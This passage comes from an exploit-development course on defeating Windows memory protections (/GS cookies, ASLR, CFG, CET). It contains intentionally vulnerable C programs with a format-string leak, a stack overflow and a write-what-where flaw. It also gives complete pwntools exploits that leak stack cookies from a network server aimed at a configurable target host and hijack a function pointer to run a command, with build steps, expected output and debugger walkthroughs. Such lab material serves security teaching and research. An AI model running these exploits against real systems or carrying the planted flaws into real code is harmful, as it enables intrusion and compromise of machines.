Parse username for display\n    strncpy(username, data, 63);\n    username[63] = '\\0';\n\n    \u002F\u002F VULNERABILITY: Format string leak — attacker-controlled format!\n    \u002F\u002F Uses raw 'data' (up to ~500 bytes from recv_buffer), NOT truncated\n    \u002F\u002F username. This gives the attacker enough room for many %p specifiers\n    \u002F\u002F to reach return addresses and code pointers deep in the stack.\n    \u002F\u002F With username[64], only ~21 specifiers fit — not enough.\n    \u002F\u002F With raw data (~500 bytes), ~166 specifiers fit — reaches everything.\n    log_message(client, data);  \u002F\u002F Leaks stack values to attacker!\n\n    \u002F\u002F Send response (uses safe truncated copy)\n    _snprintf(response, sizeof(response),\n             \"Login attempt for: %s\\n\", username);\n    response[sizeof(response) - 1] = '\\0';\n    send(client, response, (int)strlen(response), 0);\n}\n\n\u002F\u002F Vulnerable: Stack buffer overflow\nvoid handle_execute(SOCKET client, Request* req) {\n    char local_buffer[64];  \u002F\u002F Small buffer\n    char response[256];\n\n    \u002F\u002F VULNERABILITY: Copies 128-byte args into 64-byte buffer\n    strcpy(local_buffer, req->args);  \u002F\u002F OVERFLOW!\n\n    \u002F\u002F Process and respond\n    snprintf(response, sizeof(response),\n             \"Executed: %s with args: %s\\n\",\n             req->command, local_buffer);\n    send(client, response, strlen(response), 0);\n}\n\nvoid handle_client(SOCKET client) {\n    char recv_buffer[512];\n    int bytes;\n    Request req = {0};\n\n    \u002F\u002F Receive command\n    bytes = recv(client, recv_buffer, sizeof(recv_buffer) - 1, 0);\n    if (bytes \u003C= 0) return;\n    recv_buffer[bytes] = '\\0';\n\n    \u002F\u002F Parse request\n    if (strncmp(recv_buffer, \"LOGIN \", 6) == 0) {\n        handle_login(client, recv_buffer + 6);\n    }\n    else if (strncmp(recv_buffer, \"EXEC \", 5) == 0) {\n        \u002F\u002F Parse EXEC command\n        char* space = strchr(recv_buffer + 5, ' ');\n        if (space) {\n            *space = '\\0';\n            strncpy(req.command, recv_buffer + 5, 15);\n            strncpy(req.args, space + 1, 127);\n            handle_execute(client, &req);\n        }\n    }\n    else {\n        send(client, \"Unknown command\\n\", 16, 0);\n    }\n}\n\nint main() {\n    WSADATA wsa;\n    SOCKET server_sock, client_sock;\n    struct sockaddr_in server_addr, client_addr;\n    int client_len = sizeof(client_addr);\n\n    WSAStartup(MAKEWORD(2, 2), &wsa);\n\n    server_sock = socket(AF_INET, SOCK_STREAM, 0);\n\n    server_addr.sin_family = AF_INET;\n    server_addr.sin_addr.s_addr = INADDR_ANY;\n    server_addr.sin_port = htons(PORT);\n\n    bind(server_sock, (struct sockaddr*)&server_addr, sizeof(server_addr));\n    listen(server_sock, MAX_CLIENTS);\n\n    printf(\"[*] Server listening on port %d\\n\", PORT);\n    printf(\"[*] log_message     @ %p\\n\", (void*)log_message);\n    printf(\"[*] handle_login    @ %p\\n\", (void*)handle_login);\n    printf(\"[*] handle_execute  @ %p\\n\", (void*)handle_execute);\n    printf(\"[*] Mitigations: \u002FGS enabled, ASLR enabled\\n\");\n    fflush(stdout);\n\n    while(1) {\n        client_sock = accept(server_sock,\n                            (struct sockaddr*)&client_addr,\n                            &client_len);\n        printf(\"[+] Client connected\\n\");\n        handle_client(client_sock);\n        closesocket(client_sock);\n        printf(\"[-] Client disconnected\\n\");\n    }\n\n    return 0;\n}\n```\n\n**Pwntools Exploit**:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nFull Exploit: Stack Cookie Bypass via Information Leak\nTarget: realworld_server.exe\nChain: Format String Leak -> Cookie\u002FASLR Bypass -> Struct Function Pointer Attack\n\nThis demonstrates a complete exploitation workflow.\n\nIMPORTANT:\n  - MSVCRT does NOT support positional format strings (%N$x).\n    We use sequential %p specifiers instead.\n  - MSVCRT %p prints bare hex (e.g., 000000000014FA48), not 0x-prefixed.\n  - On CET-enabled systems, the ROP chain in Stage 3 is BLOCKED.\n    Use data-only \u002F struct-based attacks (Techniques 1-4) instead.\n\"\"\"\n\nfrom pwn import *\nimport re\nimport sys\n\n# ================== Configuration ==================\nTARGET_HOST = \"127.0.0.1\"  # Change to target\nTARGET_PORT = 31337\n\ncontext.arch = 'amd64'\ncontext.os = 'windows'\ncontext.log_level = 'info'\n\n# ================== Helper Functions ==================\n\ndef connect():\n    \"\"\"Establish connection to target\"\"\"\n    return remote(TARGET_HOST, TARGET_PORT)\n\ndef leak_stack_values(num_pads):\n    \"\"\"\n    Use format string to leak stack values.\n    MSVCRT doesn't support positional %N$p — we must use sequential %p.\n    MSVCRT %p prints bare hex without 0x prefix.\n    \"\"\"\n    r = connect()\n\n    # Build format string with sequential %p specifiers\n    # Each %p leaks one pointer-sized value from the stack\n    payload = b\"LOGIN \" + b\"%p.\" * num_pads\n    r.send(payload)\n\n    try:\n        response = r.recvuntil(b\"Login attempt\", timeout=3)\n    except:\n        response = r.recv(timeout=2)\n\n    r.close()\n\n    # Parse bare-hex values from response (MSVCRT format: 000000000014FA48)\n    # Also handle 0x-prefixed and (null) \u002F 0000000000000000\n    values = re.findall(rb'([0-9A-Fa-f]{8,16})', response)\n    leaks = {}\n    for i, val_bytes in enumerate(values):\n        try:\n            val = int(val_bytes, 16)\n            leaks[i] = val\n            log.debug(f\"Offset {i}: 0x{val:016X}\")\n        except ValueError:\n            pass\n\n    return leaks\n\ndef identify_values(leaks):\n    \"\"\"\n    Analyze leaked values to identify:\n    - Stack cookie (XOR'd with RBP — high entropy, not a valid address)\n    - Code pointers (in image range, e.g., 0x140XXXXXX with \u002FFIXED)\n    - Stack addresses (user-mode VA range)\n    \"\"\"\n    identified = {\n        'cookie': None,\n        'code_ptrs': [],\n        'stack_ptrs': []\n    }\n\n    for offset, val in leaks.items():\n        if val == 0:\n            continue\n\n        # Image base pointers (with \u002FFIXED, typically 0x140XXXXXX)\n        if 0x140000000 \u003C= val \u003C= 0x14FFFFFFF:\n            identified['code_ptrs'].append((offset, val))\n            log.info(f\"Code pointer at offset {offset}: 0x{val:016X}\")\n\n        # With ASLR: code pointers in 0x7ff6-0x7fff range\n        elif 0x7ff600000000 \u003C= val \u003C= 0x7fffffffffff:\n            identified['code_ptrs'].append((offset, val))\n            log.info(f\"ASLR code pointer at offset {offset}: 0x{val:016X}\")\n\n        # Stack addresses: typically high user-mode VA\n        elif 0x0000000100000 \u003C= val \u003C= 0x00007fffffffffff and \\\n             not (0x7ff000000000 \u003C= val \u003C= 0x7fffffffffff) and \\\n             not (0x140000000 \u003C= val \u003C= 0x14FFFFFFF):\n            identified['stack_ptrs'].append((offset, val))\n            log.debug(f\"Stack pointer at offset {offset}: 0x{val:016X}\")\n\n        # Cookie candidate: high entropy, not a valid address\n        # The XOR'd cookie typically doesn't look like any address range\n        elif val > 0xFFFF:\n            if identified['cookie'] is None:\n                identified['cookie'] = (offset, val)\n                log.success(f\"Potential cookie at offset {offset}: 0x{val:016X}\")\n\n    return identified\n\ndef exploit():\n    \"\"\"Main exploitation function\"\"\"\n\n    log.info(\"=\" * 50)\n    log.info(\"Stack Cookie Bypass — Information Leak\")\n    log.info(\"=\" * 50)\n\n    # ============ Stage 1: Information Leak ============\n    log.info(\"Stage 1: Leaking stack values via format string\")\n    log.info(\"Using sequential %%p (MSVCRT has no positional %%N$p)\")\n\n    leaks = leak_stack_values(80)  # Leak 80 stack values (needs raw data path)\n    log.info(f\"Leaked {len(leaks)} values from stack\")\n\n    identified = identify_values(leaks)\n\n    if identified['cookie'] is None:\n        log.error(\"Failed to identify stack cookie!\")\n        return False\n\n    cookie_offset, cookie_value = identified['cookie']\n    log.success(f\"Cookie: 0x{cookie_value:016X} at offset {cookie_offset}\")\n\n    if identified['code_ptrs']:\n        code_offset, code_ptr = identified['code_ptrs'][0]\n        log.success(f\"Code pointer: 0x{code_ptr:016X} at offset {code_offset}\")\n        # With ASLR, calculate base address:\n        # The leaked pointer is somewhere inside the binary.\n        # Page-align down to estimate the module base.\n        # In a real exploit, you'd know the exact offset from RE.\n        estimated_base = code_ptr & 0xFFFFFFFFFFFF0000  # 64KB aligned (ASLR granularity)\n        log.info(f\"Estimated module base: 0x{estimated_base:016X}\")\n        log.info(f\"Offset in module: 0x{code_ptr - estimated_base:X}\")\n    else:\n        log.warning(\"No code pointers leaked — try increasing num_pads\")\n\n    # ============ Stage 2: Exploitation ============\n    log.info(\"Stage 2: Exploitation\")\n    log.info(\"\")\n    log.warning(\"=\" * 50)\n    log.warning(\"CET CHECK: On Windows 11 with CET shadow stacks,\")\n    log.warning(\"classic ROP (return address overwrite) is BLOCKED.\")\n    log.warning(\"The shadow stack maintains a separate copy of return\")\n    log.warning(\"addresses that the attacker cannot modify.\")\n    log.warning(\"\")\n    log.warning(\"For CET-enabled targets, use data-only attacks:\")\n    log.warning(\"  - Struct function pointer overwrite (Techniques 1-3)\")\n    log.warning(\"  - Exception-based data corruption (Technique 4)\")\n    log.warning(\"  - Write-What-Where to global function pointers\")\n    log.warning(\"=\" * 50)\n\n    # --- Conceptual ROP chain (for non-CET systems only) ---\n    # On systems WITHOUT CET, the cookie leak enables classic ROP:\n    #\n    # handle_execute stack layout (approximate):\n    # [local_buffer 64][cookie 8][saved_rbp 8][return_addr 8]\n    #\n    # payload = b\"EXEC cmd \"\n    # payload += b\"A\" * 64                   # Fill local_buffer\n    # payload += p64(cookie_value)            # Correct cookie!\n    # payload += p64(0xdeadbeef)              # Saved RBP\n    # payload += rop_chain                    # ROP chain at return\n    #\n    # But on CET: shadow stack mismatch -> process killed.\n\n    log.success(\"Leak complete. Cookie and code pointers recovered.\")\n    log.info(\"On non-CET systems: build ROP chain with leaked cookie.\")\n    log.info(\"On CET systems: use struct-based attacks from Techniques 1-4.\")\n\n    return True\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1:\n        TARGET_HOST = sys.argv[1]\n    if len(sys.argv) > 2:\n        TARGET_PORT = int(sys.argv[2])\n\n    exploit()\n```\n\n```bash\n# build inside C:\\Windows_Mitigations_Lab\ncl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\realworld_server.c \u002FFe:bin\\realworld_server.exe \u002Flink ws2_32.lib \u002FDEBUG \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA\n# in one terminal:\n.\\bin\\realworld_server.exe\n# in another\npython exploits\\realworld.py\n# TODO: complete the exploit using one of the methods explained earlier in this day\n```\n\n#### Scenario 2: Write-What-Where Without Cookie Corruption\n\nExploiting vulnerable write primitives that don't touch the cookie.\n\n```c\n\u002F\u002F www_vuln.c - Write-What-Where vulnerability\n\u002F\u002F Demonstrates: binary protocol deserialization into struct with unvalidated\n\u002F\u002F fields, enabling arbitrary write to a global function pointer.\n\u002F\u002F\n\u002F\u002F The struct fields (index, value, target) are directly controlled by\n\u002F\u002F attacker input. process_write() does: *target = value (Write-What-Where).\n\u002F\u002F The stack cookie is NEVER corrupted — the write targets a GLOBAL pointer.\n\u002F\u002F\n\u002F\u002F Key difference from Techniques 1-3: those corrupt struct function pointers\n\u002F\u002F on the STACK. This corrupts a GLOBAL function pointer via an arbitrary\n\u002F\u002F write primitive. \u002FGS protects neither.\n\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Cwindows.h>\n#include \u003Cstddef.h>\n\ntypedef struct {\n    char name[32];       \u002F\u002F offset 0  - attacker label\u002Fcommand\n    int index;           \u002F\u002F offset 32 - array index (fallback path)\n    int value;           \u002F\u002F offset 36 - WHAT to write (low 32 bits)\n    int* target;         \u002F\u002F offset 40 - WHERE to write (pointer)\n} WriteRequest;          \u002F\u002F total: 48 bytes\n\n\u002F\u002F Array of allowed values\nint allowed_values[10] = {0};\n\nvoid process_write(WriteRequest* req) {\n    \u002F\u002F VULNERABILITY: No validation of target pointer or value!\n    \u002F\u002F Attacker controls both WHAT and WHERE.\n    if (req->target != NULL) {\n        printf(\"[*] Writing value 0x%X to address %p\\n\",\n               req->value, (void*)req->target);\n        *req->target = req->value;  \u002F\u002F Write-What-Where!\n    } else {\n        \u002F\u002F Fallback: write to allowed_values array\n        \u002F\u002F VULNERABILITY: No bounds check on index!\n        printf(\"[*] Writing value %d to allowed_values[%d]\\n\",\n               req->value, req->index);\n        allowed_values[req->index] = req->value;  \u002F\u002F OOB write!\n    }\n\n    printf(\"[*] Write completed\\n\");\n}\n\n\u002F\u002F Function pointer that will be our target\nvoid (*cleanup_handler)(void) = NULL;\n\nvoid safe_cleanup() {\n    printf(\"[*] Safe cleanup running\\n\");\n}\n\nvoid dangerous_action() {\n    printf(\"[!] PWNED! Running dangerous action!\\n\");\n    system(\"calc.exe\");\n}\n\nint main() {\n    WriteRequest req = {0};\n    size_t n;\n\n    cleanup_handler = safe_cleanup;\n\n    \u002F\u002F Print addresses for exploit auto-parsing\n    printf(\"=== Write-What-Where Demo ===\\n\");\n    printf(\"safe_cleanup      @ %p\\n\", (void*)safe_cleanup);\n    printf(\"dangerous_action  @ %p\\n\", (void*)dangerous_action);\n    printf(\"cleanup_handler   @ %p (global func ptr)\\n\", (void*)&cleanup_handler);\n    printf(\"cleanup_handler   = %p (currently points to safe_cleanup)\\n\",\n           (void*)cleanup_handler);\n    printf(\"struct size: %zu bytes\\n\", sizeof(WriteRequest));\n    printf(\"  name[32]  @ offset %zu\\n\", offsetof(WriteRequest, name));\n    printf(\"  index     @ offset %zu\\n\", offsetof(WriteRequest, index));\n    printf(\"  value     @ offset %zu\\n\", offsetof(WriteRequest, value));\n    printf(\"  target    @ offset %zu\\n\", offsetof(WriteRequest, target));\n    fflush(stdout);\n\n    \u002F\u002F Read binary request (simulates a binary protocol\u002Fdeserialization)\n    \u002F\u002F fread does NOT add \\0 or stop at newline — reads exact binary data.\n    \u002F\u002F The attacker controls ALL struct fields: name, index, value, target.\n    \u002F\u002F No overflow past the struct = cookie is NOT corrupted.\n    printf(\"\\nWaiting for %zu bytes of binary input...\\n\", sizeof(req));\n    fflush(stdout);\n    n = fread(&req, 1, sizeof(req), stdin);\n    printf(\"[*] Read %zu bytes\\n\", n);\n\n    \u002F\u002F Show what the attacker sent\n    printf(\"[*] name:   '%.32s'\\n\", req.name);\n    printf(\"[*] index:  %d\\n\", req.index);\n    printf(\"[*] value:  0x%X\\n\", req.value);\n    printf(\"[*] target: %p\\n\", (void*)req.target);\n    fflush(stdout);\n\n    process_write(&req);\n\n    \u002F\u002F Later... cleanup_handler has been overwritten!\n    printf(\"[*] Calling cleanup_handler (%p)...\\n\",\n           (void*)cleanup_handler);\n    fflush(stdout);\n    if (cleanup_handler) {\n        cleanup_handler();  \u002F\u002F Calls dangerous_action!\n    }\n\n    return 0;\n}\n```\n\n**Compile**:\n\n```bash\n# Save to C:\\Windows_Mitigations_Lab\\src\\www_vuln.c\n# Compile with \u002FGS to show that cookie doesn't protect this attack vector\n# \u002FFIXED = no ASLR (deterministic addresses for the exploit)\ncl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\www_vuln.c \u002FFe:bin\\www_vuln.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002FDEBUG\n\n# This exploits a Write-What-Where primitive that bypasses stack cookies entirely\n# The attack targets a global function pointer, not the return address\n# Cookie is NEVER corrupted — fread reads exactly sizeof(struct) bytes\n```\n\n**Pwntools WWW Exploit**:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nexploits\u002Fsc_www.py\nWrite-What-Where Exploit — Bypasses \u002FGS without corrupting the cookie!\n\nThe vulnerable C code uses fread(&req, 1, sizeof(req), stdin) to read\na binary request directly into a WriteRequest struct. The attacker\ncontrols ALL struct fields, including the 'target' pointer and 'value'.\n\nprocess_write() does: *target = value (Write-What-Where).\nWe set target = &cleanup_handler and value = low 32 bits of\ndangerous_action's address. This overwrites the global function pointer.\n\nstruct WriteRequest layout (x64):\n  +0x00: name[32]    (32 bytes)\n  +0x20: index       (4 bytes, int)\n  +0x24: value       (4 bytes, int)  \u003C- WHAT to write\n  +0x28: target      (8 bytes, ptr)  \u003C- WHERE to write\n  Total: 48 bytes\n\nKey insight: fread reads EXACTLY sizeof(req) = 48 bytes. No \\0 appended,\nno \\n handling. The data goes into the struct and NOWHERE ELSE.\nThe stack cookie (placed after the struct) is never touched.\n\nWith \u002FFIXED: all addresses share upper bytes (0x00000001). process_write\ndoes a 4-byte int write, so overwriting just the low dword of\ncleanup_handler is enough — upper bytes remain correct.\n\nAddresses are auto-parsed from the binary's runtime output.\n\nWorks on Windows 11 + CET: no return address hijacking.\nThis is a global function pointer write, not a struct member attack.\n\nUsage:\n  python exploits\\\\sc_www.py\n\"\"\"\n\nfrom pwn import *\nimport re\n\ncontext.arch = 'amd64'\ncontext.os = 'windows'\ncontext.log_level = 'info'\n\n\ndef parse_address(output_bytes, label):\n    \"\"\"\n    Parse an address from binary output like:\n      dangerous_action  @ 00000001400043C7\n    Handles both bare-hex (MSVCRT) and 0x-prefixed formats.\n    \"\"\"\n    patterns = [\n        re.compile(label.encode() + rb'\\s+@\\s+([0-9A-Fa-f]{8,16})'),\n        re.compile(label.encode() + rb'\\s*=\\s*([0-9A-Fa-f]{8,16})'),\n        re.compile(label.encode() + rb'\\s+@\\s+0x([0-9A-Fa-f]+)'),\n    ]\n    for pat in patterns:\n        m = pat.search(output_bytes)\n        if m:\n            return int(m.group(1), 16)\n    return None\n\n\ndef exploit():\n    binary_path = r'C:\\Windows_Mitigations_Lab\\bin\\www_vuln.exe'\n\n    # Phase 1: Run binary to discover addresses from startup output\n    log.info(\"Phase 1: discovering addresses from binary output...\")\n    p = process([binary_path])\n\n    # Binary prints addresses, then waits for binary input\n    try:\n        startup = p.recvuntil(b\"binary input...\", timeout=5)\n    except:\n        startup = p.recv(timeout=3)\n\n    decoded = startup.decode(errors='replace')\n    log.info(f\"Startup output:\\n{decoded}\")\n\n    # Parse addresses\n    DANGEROUS_ACTION = parse_address(startup, 'dangerous_action')\n    # cleanup_handler appears twice: \"@ addr (global func ptr)\" and \"= addr (currently...)\"\n    # We want the ADDRESS OF the variable (the one with \"global func ptr\")\n    m = re.search(rb'cleanup_handler\\s+@\\s+([0-9A-Fa-f]{8,16})\\s+\\(global', startup)\n    if m:\n        CLEANUP_HANDLER_PTR = int(m.group(1), 16)\n    else:\n        CLEANUP_HANDLER_PTR = parse_address(startup, 'cleanup_handler')\n\n    if DANGEROUS_ACTION is None or CLEANUP_HANDLER_PTR is None:\n        log.error(\"Failed to parse addresses from binary output!\")\n        log.error(\"Expected: 'dangerous_action  @ ADDR' and 'cleanup_handler   @ ADDR (global func ptr)'\")\n        p.close()\n        return\n\n    log.success(f\"dangerous_action  = 0x{DANGEROUS_ACTION:016X}\")\n    log.success(f\"cleanup_handler   @ 0x{CLEANUP_HANDLER_PTR:016X} (address of global variable)\")\n\n    # Phase 2: Build Write-What-Where payload\n    log.info(\"Phase 2: building WWW payload...\")\n\n    # struct WriteRequest layout:\n    #   name[32]  @ +0x00  (label\u002Fcommand string)\n    #   index     @ +0x20  (4 bytes — not used when target is non-NULL)\n    #   value     @ +0x24  (4 bytes — WHAT to write: low 32 bits of dangerous_action)\n    #   target    @ +0x28  (8 bytes — WHERE to write: &cleanup_handler)\n    #\n    # process_write() does: *(int*)target = value\n    # This overwrites the low 4 bytes of cleanup_handler.\n    # Since both functions share upper bytes 0x00000001 (compiled with \u002FFIXED),\n    # the full 8-byte pointer now correctly points to dangerous_action.\n\n    payload = b\"calc.exe\\x00\"                                    # name (command for later)\n    payload += b\"A\" * (32 - len(payload))                        # pad name to 32 bytes\n    payload += p32(0)                                            # index (unused)\n    payload += p32(DANGEROUS_ACTION & 0xFFFFFFFF)                # value: low 32 bits\n    payload += p64(CLEANUP_HANDLER_PTR)                          # target: &cleanup_handler\n\n    assert len(payload) == 48, f\"Payload must be exactly 48 bytes, got {len(payload)}\"\n\n    log.info(f\"Payload ({len(payload)} bytes):\")\n    log.info(f\"  [0..31]   name: 'calc.exe' + padding\")\n    log.info(f\"  [32..35]  index: 0 (unused — target is non-NULL)\")\n    log.info(f\"  [36..39]  value: 0x{DANGEROUS_ACTION & 0xFFFFFFFF:08X} (low dword of dangerous_action)\")\n    log.info(f\"  [40..47]  target: 0x{CLEANUP_HANDLER_PTR:016X} (&cleanup_handler)\")\n\n    # Send exactly 48 bytes — fread reads sizeof(req) = 48, no \\n needed\n    p.send(payload)\n\n    try:\n        output = p.recvall(timeout=5)\n        decoded = output.decode(errors='replace')\n        log.info(f\"Output:\\n{decoded}\")\n\n        if \"PWNED\" in decoded or \"dangerous\" in decoded.lower():\n            log.success(\"Write-What-Where exploit worked!\")\n            log.success(\"cleanup_handler overwritten with dangerous_action\")\n            log.success(\"\u002FGS cookie was NEVER corrupted — bypass complete\")\n        elif \"Safe cleanup\" in decoded:\n            log.failure(\"cleanup_handler was NOT overwritten\")\n            log.failure(\"Check address parsing — compare with startup output\")\n    except:\n        pass\n\n    try:\n        p.wait(timeout=5)\n    except:\n        pass\n\n    if p.returncode is not None:\n        exit_code = p.returncode & 0xFFFFFFFF\n        if exit_code == 0:\n            log.success(f\"Clean exit (0x0) — cookie was never corrupted\")\n        elif exit_code == 0xc0000409:\n            log.failure(f\"Cookie corruption detected (0xc0000409)\")\n            log.failure(\"This should NOT happen with fread-based input\")\n        else:\n            log.info(f\"Exit code: {hex(exit_code)}\")\n\n    p.close()\n\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n**Expected Results**:\n\n```bash\nc:\\Windows_Mitigations_Lab> python exploits\\sc_www.py\n#[*] Phase 1: discovering addresses from binary output...\n#[x] Starting local process 'C:\\\\Windows_Mitigations_Lab\\\\bin\\\\www_vuln.exe'\n#[+] Starting local process 'C:\\\\Windows_Mitigations_Lab\\\\bin\\\\www_vuln.exe': pid 10640\n#[*] Startup output:\n#    === Write-What-Where Demo ===\n#    safe_cleanup      @ 00000001400020F4\n#    dangerous_action  @ 0000000140001E33\n#    cleanup_handler   @ 00000001400A4568 (global func ptr)\n#    cleanup_handler   = 00000001400020F4 (currently points to safe_cleanup)\n#    struct size: 48 bytes\n#      name[32]  @ offset 0\n#      index     @ offset 32\n#      value     @ offset 36\n#      target    @ offset 40\n\n#    Waiting for 48 bytes of binary input...\n#[+] dangerous_action  = 0x0000000140001E33\n#[+] cleanup_handler   @ 0x00000001400A4568 (address of global variable)\n#[*] Phase 2: building WWW payload...\n#[*] Payload (48 bytes):\n#[*]   [0..31]   name: 'calc.exe' + padding\n#[*]   [32..35]  index: 0 (unused — target is non-NULL)\n#[*]   [36..39]  value: 0x40001E33 (low dword of dangerous_action)\n#[*]   [40..47]  target: 0x00000001400A4568 (&cleanup_handler)\n#[x] Receiving all data\n#[x] Receiving all data: 2B\n#[x] Receiving all data: 282B\n#[*] Process 'C:\\\\Windows_Mitigations_Lab\\\\bin\\\\www_vuln.exe' stopped with exit code 0 (pid 10640)\n#[+] Receiving all data: Done (282B)\n#[*] Output:\n\n#    [*] Read 48 bytes\n#    [*] name:   'calc.exe'\n#    [*] index:  0\n#    [*] value:  0x40001E33\n#    [*] target: 00000001400A4568\n#    [*] Writing value 0x40001E33 to address 00000001400A4568\n#    [*] Write completed\n#    [*] Calling cleanup_handler (0000000140001E33)...\n#   [!] PWNED! Running dangerous action!\n#[+] Write-What-Where exploit worked!\n#[+] cleanup_handler overwritten with dangerous_action\n#[+] \u002FGS cookie was NEVER corrupted — bypass complete\n#[+] Clean exit (0x0) — cookie was never corrupted\n```\n\n### Practical Exercise\n\n#### Task 1: Format String Leak — Cookie and ASLR Recovery\n\nDemonstrate the full information leak chain against the ASLR-enabled server.\n\n1. **Compile with ASLR** (addresses randomized every run):\n\n   ```bash\n   cd C:\\Windows_Mitigations_Lab\n   cl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\realworld_server.c ^\n      \u002FFe:bin\\realworld_server.exe \u002Flink ws2_32.lib \u002FDEBUG ^\n      \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA\n   ```\n\n2. **Start the server** and note the function addresses printed at startup:\n\n   ```bash\n   bin\\realworld_server.exe\n   # Output:\n   #   [*] Server listening on port 31337\n   #   [*] log_message     @ 00007FF6799819C9    \u003C- randomized!\n   #   [*] handle_login    @ 00007FF679984133\n   #   [*] handle_execute  @ 00007FF67998348B\n   #   [*] Mitigations: \u002FGS enabled, ASLR enabled\n   ```\n\n3. **Leak stack values** via format string (MSVCRT: sequential `%p`, bare hex, no `%N$p`):\n\n   ```bash\n   # 80 specifiers × ~17 chars each = ~1360 chars, but _vsnprintf buffer is 512.\n   # Result: ~30 values leaked (512\u002F17 ≈ 30). This is realistic — real leaks\n   # are always constrained by buffer sizes.\n   python -c \"from pwn import *; r=remote('127.0.0.1',31337); r.send(b'LOGIN ' + b'%%p.' * 80); print(r.recv(timeout=3)); r.close()\"\n   ```\n\n4. **Run the full exploit** to parse and classify leaked values:\n\n   ```bash\n   python exploits\\realworld.py\n   # Expected output:\n   #   [+] Potential cookie at offset 1: 0x8101010101010100  \u003C- high entropy\n   #   [*] ASLR code pointer at offset 27: 0x00007FF939C0F77C \u003C- DLL address\n   #   [+] Cookie: 0x8101010101010100 at offset 1\n   #   [+] Code pointer: 0x00007FF939C0F77C at offset 27\n   #   [*] Estimated module base: 0x00007FF939C00000  (64KB aligned)\n   ```\n\n5. **Verify with WinDbg** — cross-check leaked values against actual stack:\n\n   ```bash\n   # Launch server under debugger\n   windbg C:\\Windows_Mitigations_Lab\\bin\\realworld_server.exe\n\n   # Set breakpoint at the vulnerable function\n   bp realworld_server!handle_login\n   g\n   # Server starts — connect with the format string payload from another terminal\n\n   # When breakpoint hits, examine the stack:\n   dqs rsp L30\n   # Look for the cookie value (high-entropy, XOR'd with RSP)\n\n   # Calculate expected cookie: global cookie XOR'd with RSP\n   # IMPORTANT: poi() dereferences the symbol — without it, you get the ADDRESS\n   ? poi(realworld_server!__security_cookie) ^ rsp\n   # Result should match one of the leaked values\n\n   # Find where code pointers appear on the stack:\n   # Return addresses will be in the 0x00007FF6XXXXXXXX range (server module)\n   # or 0x00007FFXXXXXXXXX range (system DLLs like ucrtbase, kernel32)\n   dqs rsp L80\n   # Match against the values your exploit reported\n   ```\n\n6. **Understand what was recovered**:\n\n   | Item         | Example              | Exploit Use                                      |\n   | ------------ | -------------------- | ------------------------------------------------ |\n   | Stack cookie | `0x8101010101010100` | Place in overflow to pass `\u002FGS` check (non-CET)  |\n   | DLL code ptr | `0x00007FF939C0F77C` | Calculate DLL base -> find API addresses for ROP |\n   | Server base  | Printed at startup   | Server module base for struct-based attacks      |\n\n7. **On non-CET systems**: Build a ROP chain using the leaked cookie and code pointers\n8. **On CET systems**: The cookie leak is still valuable for understanding the target, but use struct-based attacks (Techniques 1-4) for exploitation — CET shadow stack blocks ROP\n\n#### Task 2: CFG Coarse-Grained Bypass — Prove It Empirically\n\nUse the Technique 3 `--cfg-test` mode to observe CFG behavior directly.\n\n1. **Compile all three variants** (no mitigation, \u002FGS only, \u002FGS + CFG):\n\n   ```bash\n   cd C:\\Windows_Mitigations_Lab\n\n   # Baseline: no \u002FGS, no CFG\n   cl \u002FGS- \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\func_ptr_overwrite.c ^\n      \u002FFe:bin\\func_ptr_overwrite.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002FDEBUG\n\n   # \u002FGS only: prove struct members not reordered\n   cl \u002FGS \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\func_ptr_overwrite.c ^\n      \u002FFe:bin\\func_ptr_overwrite_gs.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002FDEBUG\n\n   # \u002FGS + CFG: observe coarse-grained check\n   cl \u002FGS \u002FZi \u002Fguard:cf \u002FD_CRT_SECURE_NO_WARNINGS src\\func_ptr_overwrite.c ^\n      \u002FFe:bin\\func_ptr_overwrite_cfg.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED \u002Fguard:cf \u002FDEBUG\n   ```\n\n2. **Run all three standard exploits** — all should pop calc:\n\n   ```bash\n   python exploits\\sc_3_funcptr.py --exploit\n   # All three builds: [DANGER] Executing: calc.exe\n   # \u002FGS doesn't help (struct members preserved)\n   # CFG doesn't help (dangerous_handler is a valid function entry)\n   ```\n\n3. **Run the CFG coarse-grained test**:\n\n   ```bash\n   python exploits\\sc_3_funcptr.py --cfg-test\n   # TEST 1: Redirect to dangerous_handler (valid entry) -> CFG ALLOWS -> calc pops\n   # TEST 2: Redirect to dangerous_handler+4 (mid-function)  -> CFG BLOCKS -> 0x80000003\n   ```\n\n4. **Analyze CFG validation in WinDbg**:\n\n   ```bash\n   # Launch CFG build under debugger\n\n   # Break at the indirect call site (where handler is called)\n   # First, find the call instruction in process_request:\n   uf func_ptr_overwrite_cfg!process_request\n   # Look for: call qword ptr [__guard_check_icall_fptr]\n   #           call rax   (or similar indirect call pattern)\n\n   # Set breakpoint at the CFG check:\n   bp func_ptr_overwrite_cfg!process_request\n   g\n   # Feed the exploit payload from another terminal\n\n   # Single-step through the CFG check:\n   # The guard check validates RAX against the CFG bitmap.\n   # If RAX = dangerous_handler (valid entry) -> check passes\n   # If RAX = dangerous_handler+4 (mid-function) -> __fastfail\n\n   # Watch the bitmap lookup:\n   bp ntdll!LdrpValidateUserCallTarget\n   g\n   # When hit, examine:\n   r rcx    # Target address being validated\n   # Step through to see the bitmap check\n   ```\n\n5. **Verify CET independence**: All struct-based attacks succeed with CET enabled.\n   CET protects `RET` instructions (backward edge), not indirect `CALL` (forward edge).\n   The struct function pointer overwrite uses `CALL`, so CET is irrelevant.\n\n#### Task 3: Cookie Analysis Tool\n\nA functional tool that reads 